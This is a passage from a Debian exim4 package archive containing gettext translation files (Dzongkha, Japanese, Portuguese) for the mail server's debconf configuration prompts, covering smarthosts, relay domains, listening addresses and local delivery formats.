ཉེ་ངནས་ཀྱི་ཌོ་མེནསི་ཚུ་ ནཱ་ལུ་བཀོད་མི་དགོ" #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "ཁྱོད་ཀྱིས་ནཱ་ལུ་བཙུགས་ཡོད་མི་ཌོ་མེནསི་དེ་ སེ་མི་ཀོ་ལཱོན་ཚུ་གིས་ སོ་སོ་འཕྱལ་དགོཔ་ཨིན། ཝ་ཡིལཌི་ཀཌི་ཚུ་ " #~ "ལག་ལེན་འཐབ།" #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "ཁྱོད་ཀྱིས་ ཕྱིར་གཏང་ཡིག་འཕྲིན་ནང་ལུ་ཉེ་གནས་ཡིག་འཕྲིན་གྱི་མིང་སྦ་བཞག་ནི་དེ་ནུས་ཅན་བཟོ་ཞིནམ་ལས་ཚུར་ " #~ "ཉེ་གནས་ལག་ལེན་པ་ཚུ་གི་ནང་ལས་ ཡིག་འཕྲིན་གྱི་ལག་ལེན་འཐབ་མི་ ཌོ་མེན་མིང་དེ་གསལ་བཀོད་འབད་དགོཔ་" #~ "ཨིན; འ་ནི་འདི་ སྤྱིར་གཏང་ཁྱོད་ཀྱི་ཡིག་འཕྲིན་འཐོབ་སའི་གློག་འཕྲུལ་ མཐུན་མོངས་མ་ཡིན་པ་ཅིག་ཨིན།" #~ msgid "Where will your users read their mail?" #~ msgstr "ཁྱོད་ཀྱི་ལག་ལེན་པ་ཚུ་གིས་ ཡིག་འཕྲིན་ག་སྟེ་ལྷག་དོ་ཡོདཔ་ཨིན་ན?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "ཧོསཊི་ (སྤུ་བསྒྱིར་དྲག་ཡོད་མི་ཧོས་ཊི་)འདི་གི་དོན་ལུ་ གློག་འཕྲུལ་ལེགས་སྐྱོང་ཕྱིར་གཏང་གི་ཡིག་འཕྲིན:" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "ཕྱིར་གཏང་ཡིག་འཕྲིན་གཏང་མི་ གློག་འཕྲུལ་གྱི་ཧོསཊི་མིང་དེ་ཐོ་བཀོད་འབད།" #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "ཁྱོད་ཌ་ཡེལ་-ཨོན-མཁོ་འདོད་ལག་ལེན་འཐབ་དོ་ཡོདཔ་ཨིན་པ་ཅིན་ ཁྱད་རྣམ་འདི་ལྕོགས་ཅན་བཟོ;དེ་མེན་པ་ཅིན་ " #~ "འདི་ལྕོགས་མིན་བཟོ།" #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "" #~ "ཁྱོད་རའི་དགོས་མཁོ་དང་ ཡང་དག་སྦེ་མཐུན་མི་ ཡིག་འཕྲིན་སར་བར་རིམ་སྒྲིག་གྱི་དབྱེ་བ་དེ་ སེལ་འཐུ་འབད།" #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "ཁྱོད་རང་ངེས་ཏིག་མེད་པ་ཅིན་ ཁྱོད་ཀྱིས་རིམ་སྒྲིག་གཤག་ནི་དེ་ལག་ལེན་་འཐབ་ནང་མེད་འོང་།" #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "ལག་རྩལ་གྱི་ཐོག་ལས་བཟོ་མི་ ཨེག་ཟིམ་ ཝི་༣་ རིམ་སྒྲིག་ནང་ལས་ ལག་ཐོག་ལས་གཞི་བསྒྱུར་འབད།" #~ msgid "Configure Exim4 manually?" #~ msgstr "ཨེག་ཟིམ་༤་་ལག་ཐོག་ལས་རིམ་སྒྲིག་འབད་ནི་ཨིན་ན?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "ཁྱོད་ཀྱིས་ ལག་རྩལ་གྱི་ཐོག་ལས་བཟོ་ཡོད་པའི་ ཨེག་ཟིམ་༣་རིམ་་སྒྲིག་ཅིག་ཁྱོད་ལུ་ཡོད་པའི་བརྡ་སྟོན་ཡི། ཨེག་" #~ "ཟིམ་འདི་གཞི་བསྒྱུར་འབད་ནིའི་དོན་ལུ་ གཞི་བཙུགས་ཀྱི་ཤུལ་ལས་ ཁྱོད་ཀྱིས་ ཨེག་ཟིམ་_གཞི་བསྒྱུར་༤་ཨཱར་(༨)" #~ "ལག་ཆས་དེ་ལག་ལེན་འཐབ་ཚུགས། /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!དེ་ལུ་གྲོས་བསྟུན་འབད།" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "ཁྱོད་རའི་ཡིག་འཕྲིན་རིམ་ལུགས་དེ་ རིམ་སྒྲིག་མ་འབད་ཚུན་ཚོད་ འ་ནི་དེ་་ཆད་པ་སྦེ་སྡོད་དེ་ ལག་ལེན་འཐབ་མི་" #~ "ཚུགས།" #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "ཁྱོད་ཀྱི་\"mail name\" དེ་ བསྐྱར་འབྲི་འབད་ནི་དང་གཅིག་ཁར་སྦ་མ་བཞག་ཚུན་ཚོད་ (following " #~ "the username and @ sign) ཕྱིར་གཏང་གནས་ཚུལ་དང་ཡིག་འཕྲིན་གྱི་འཕྲིན་དོན་གུར་སྟོན་ནི་གི་ ཁ་བྱང་" #~ "དེ་གི་ཧོསི་མིང་གི་ཡན་ལག་ལག་ཨིན།" #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "ཁྱོད་ཀྱིས་ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་གི་དོན་ལུ་དང་ལེན་འབད་མི་གི་ ཉེ་གནས་གློག་འཕྲུལ་ཚུ་གི་ ཡོངས་འབྲེལ་" #~ "དེ་ནཱ་ལུ་བཙུགས་གནང་།" #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "འདི་ནང་ལུ་ ང་བཅས་ཚུ་སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསི་ཊི་སྦེ་ལག་ལེན་འཐབ་ནི་ཨིན་མིའི་ གློག་འཕྲལ་ཆ་མཉམ་གྱི་" #~ "ཐོ་ཡིག་ཅིག་ གྲངས་སུ་བཙུགས་དགོ" #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "ཨའི་པི་ཝི་༦་ཁ་བྱང་ནང་ལུ་ ཁྱོད་ཀྱིས་ཀོ་ལཱོན་ཚུ་ལོག་བཏབ་བརྐྱབ་དགོཔ་ཨིན། (དཔེ་འབད་བ་ཅིན་ " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "ཉན་ནིའི་དོན་ལུ་ ཨའི་པི་-ཁ་བྱང་ཚུ་གི་ སོ་སོ་ཁ་ཕྱེ་ཡོད་པའི་ཀོ་ལཱོན་ཅིག་བཙུགས། ཁྱོད་ཀྱིས་IPv6 ཁ་བྱང་ཚུ་" #~ "ནང་ལུ་ ཀོ་ལཱོན་ལོག་བཏབ་བརྐྱབ་དགོཔ་ཨིན། (དཔེ་འབད་བ་ཅིན་ 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "རིམ་སྒྲིག་གི་ཨེག་ཟིམ་ ཝི་༤་(ཨེག་ཟིམ་༤་-རིམ་སྒྲིག)" debian/po/ja.po0000644000000000000000000006434612027557533010564 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4 4.67\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-14 16:52+0900\n" "Last-Translator: Kenshi Muto \n" "Language-Team: Japanese \n" "Language: ja\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "スプールディレクトリにある未配送のメッセージを削除しますか?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "exim スプールディレクトリ /var/spool/exim4/input にまだ配送されていないメール" "メッセージがあります。Exim を削除すると、Exim が再インストールされるまでこれ" "らは未配送のままとなります。" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "この選択肢に「はい」と答えない場合、後日 Exim を再インストールしたあと、" "キューにあるメッセージを許可するよう、スプールディレクトリは保持されます。" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "このパッケージの代わりに exim4-config を再設定してください" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 は、自身の設定を専用パッケージ exim4-config に委ねています。Exim4 を再" "設定したい場合には、'dpkg-reconfigure exim4-config' を利用してください。" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "インターネットサイト; メールは SMTP を使って直接送受信される" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "スマートホストでメール送信; SMTP または fetchmail で受信する" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "スマートホストでメール送信; ローカルメールなし" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "ローカル配信のみ; ネットワークなし" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "今は設定しない" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "メール設定の一般的なタイプ:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "必要とするものに最適と思われるメールサーバ設定形式を選択してください。" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "ダイヤルアップシステムなどの動的 IP アドレスのシステムでは、一般に送出する" "メールを配信のために別のマシン (「スマートホスト」と呼ばれる) に送るよう設定" "すべきでしょう。インターネット上の受信システムの多くは、迷惑メール対策として" "動的 IP アドレスからやってくるメールをブロックしているからです。" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "動的 IP アドレスのシステムは、自身のメールを受け取るようにするか、ローカル配" "送を (root と postmaster へのメールを除き) すべて無効にするかできます。" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "本当にメールシステムを未設定のままにしますか?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "メールシステムが設定されるまで、メールシステムは壊れた状態で利用できないもの" "となります。あとで手動で、または root として 'dpkg-reconfigure exim4-config' " "を実行することで設定できます。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "システムメール名:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "「メール名」は、ドメイン名がないときにメールアドレスを「修飾」するために使わ" "れるドメイン名です。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "この名前はほかのプログラムによっても使われます。これは、単一の完全修飾ドメイ" "ン名 (FQDN) にすべきです。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "たとえば、ローカルホストのメールアドレスが foo@example.org の場合、ここで入力" "する正しい値は example.org となるでしょう。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "書き換えを有効にすると、この名前は送出するメッセージの From: 行に出現しませ" "ん。" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "メールを受け取るその他の宛先:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "このマシン自身が最終的な宛先と見なされるべきドメインのリストをセミコロンで区" "切って指定してください。これらのドメインは一般に「ローカルドメイン」と呼ばれ" "ます。ローカルホスト名 (${fqdn}) および 'localhost' は常にこのリストに追加さ" "れます。" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "デフォルトでは、すべてのドメインは同一のものとして扱われます。a.example と b." "example の両方がローカルドメインである場合、acc@a.example と acc@b.example は" "同じ最終宛先に配送されます。異なるドメイン名を別々のものとして扱いたいときに" "は、設定ファイルをあとで編集する必要があります。" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "メールをリレーするドメイン:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "たとえばフォールバック MX またはメールゲートウェイとしてこのシステムがメール" "をリレーする、受信ドメインのリストをセミコロンで区切って指定してください。つ" "まり、このシステムがこれらのドメインからのメールをインターネット上のどこから" "も受け付け、ローカル配送ルールに従って配送することを意味します。" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "ここではローカルドメインについては記述しないでください。ワイルドカードも利用" "できます。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "メールをリレーするマシン:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "このシステムがスマートホストの役割としてメールを無条件にリレー可能な IP アド" "レス範囲のリストを、セミコロンで区切って指定してください。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "標準的なアドレス/長さのフォーマットを利用すべきです (たとえば " "194.222.242.0/24 や 5f03:1200:836f::/48)。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "このシステムをほかのホスト向けのスマートホストにしようとするわけではないな" "ら、このリストを空のままにしておいてください。" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "表示するローカルユーザのドメイン名:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "送出メール内のローカルメール名を隠すオプションが有効です。そのため、このシス" "テムがローカルユーザの送信者アドレスのドメイン部分に使う、ドメイン名を指定す" "る必要があります。" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "送出スマートホストの IP アドレスまたはホスト名:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "このシステムが送出スマートホストとして使うメールサーバの IP アドレスまたはホ" "スト名を指定してください。スマートホストが TCP/25 とは異なるポートからのみの" "メールを受け付けるのであれば、2 つのコロンとポート番号を追加してください (あ" "とえば smarthost.example::587 あるいは 192.168.254.254::2525)。IPv6 アドレス" "でのコロンはさらに二重にする必要があります。" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "スマートホストが認証を必要とする場合、SMTP 認証のセットアップについて書かれ" "た Debian 固有の README ファイルを参照してください。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "root と postmaster のメール受信者:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "「postmaster」「root」およびその他のシステムアカウントへのへのメールは、実際" "のシステム管理者のユーザアカウントに転送される必要があります。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "この値を空のままにすると、そのようなメールは /var/mail/mail に保存されます" "が、これはお勧めできません。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "postmaster のメールは別のところに転送するよりも直接そのシステムで読まれるべき" "ものであることに注意してください。このため、ここで指定するユーザ (の少なくと" "もそのうち 1 人) は、このマシンの外にリダイレクトするようなものではないように" "すべきです。強制的にローカルに配送するには、'real-' プレフィクスを使います。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "複数のユーザ名はスペースで区切る必要があります。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "入力側 SMTP 接続をリスンする IP アドレス:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "IP アドレスのリストをセミコロンで区切って指定してください。Exim SMTP リスナ" "デーモンは、ここで挙げられたすべての IP アドレスをリスンします。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "この値を空にすると、Exim はすべての利用可能なネットワークインターフェイスの接" "続をリスンするようになります。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "このシステムが (ほかのホストからではなく) ローカルサービスから直接メールを受" "け取るのであれば、ローカルの Exim デーモンへの外部からの接続を禁止するのもよ" "いでしょう。このようなサービスには、fetchmail 同様にローカルホストとやり取り" "する電子メールプログラム (MUA) も含まれます。ここで 127.0.0.1 と入力すると、" "パブリックなネットワークインターフェイスのリスニングを無効にするので、外部か" "ら接続できなくなります。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "DNS クエリの数を最小限に留めますか (ダイヤルオンデマンド)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "通常の動作モードでは、Exim は起動時、およびメッセージの受信時と配送時に DNS " "ルックアップを行います。これは、記録用であり、設定ファイルにハードコードされ" "た値の数に抑えることができます。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "このシステムが完全な DNS サービスリゾルバを常時利用できない場合 (たとえばイン" "ターネットアクセスがダイヤルアップオンデマンドを使ったダイヤルアップ回線の場" "合)、これは望ましくない結果となり得ます。たとえばExim の起動時やキューの実行" "時 (待機中のメッセージがないときでも) に、コストの高いダイヤルアップイベント" "を引き起こす恐れがあります。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "このシステムがダイヤルオンデマンドを使っている場合には、「はい」と答えるべき" "です。インターネットアクセスに常時接続しているのであれば、「いいえ」とすべき" "です。" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "メールサーバの設定:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "設定を小さなファイルに分割しますか?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian の exim4 パッケージは、1 つのモノリシックなファイルである「単一設定」" "(/etc/exim4/exim4.conf.template) か /etc/exim4/conf.d/ に置かれる約 50 の小さ" "なファイルから実際のファイルが構成される「分割設定」のどちらでも利用できま" "す。" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "単一設定は大きな変更をするのに向いており、一般的により安定しているのに対し、" "分割設定は小さな変更を行うのに楽な方法を提供します (ただし脆く、配慮せずに変" "更すると壊れるかもしれません)。" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "分割設定と単一設定の詳細な議論については、/usr/share/doc/exim4-base にある " "Debian 固有の README ファイルで参照できます。" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "送出するメールでローカルメール名を隠しますか?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "異なるシステムで生成されたかのように見えるよう、送出するメールのヘッダは書き" "換えできます。ここで「はい」と答えると、From、Reply-To、Sender、Return-Path " "の '${mailname}'、'localhost'、'${dc_other_hostnames}' が置き換えられます。" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail/ 内の mbox 形式" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "ホームディレクトリ内の Maildir 形式" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "ローカルメールの配送方式:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim はローカルに配送された電子メールを異なる形式で格納できます。ほとんどの場" "合は、mbox と Maildir のどちらかが使われます。mbox はすべてのメールフォルダ" "を /var/mail に単一ファイルで格納します。Maildir 形式では、各個のメッセージ" "は ~/Maildir/ に分割されたファイルとして格納されます。" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "ほとんどのメールツールは、ローカル配送方式が mbox であるとデフォルトでは仮定" "していることに注意してください。" debian/po/pt.po0000644000000000000000000010641012027557533010602 0ustar # Portuguese (Portugal) Translation Project (traduz@debianpt.org) # Nuno Sénica , 2004-2005 # Miguel Figueiredo , 2005, 2006, 2007. # msgid "" msgstr "" "Project-Id-Version: exim4-config 4.30-7\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-10-06 09:59+0100\n" "Last-Translator: Miguel Figueiredo \n" "Language-Team: Portuguese \n" "Language: pt\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Remover mensagens não entregues no directório de spool?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Existem mensagens de e-mail no directório de spool do Exim /var/spool/exim4/" "input/ que ainda não foram entregues. Remover o Exim irá fazer com que " "fiquem por entregar até o Exim ser reinstalado." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Se esta opção não for escolhida, o directório de spool é mantido, permitindo " "que as mensagens na fila de espera sejam entregues posteriormente após o " "Exim ser reinstalado." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reconfigurar exim4-config em vez deste pacote" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "O Exim4 tem a sua configuração num pacote dedicado, o exim4-config. Para " "reconfigurar o Exim4, utilize 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "site internet; o mail é enviado e recebido usando SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "mail enviado por smarthost; recebido por SMTP ou 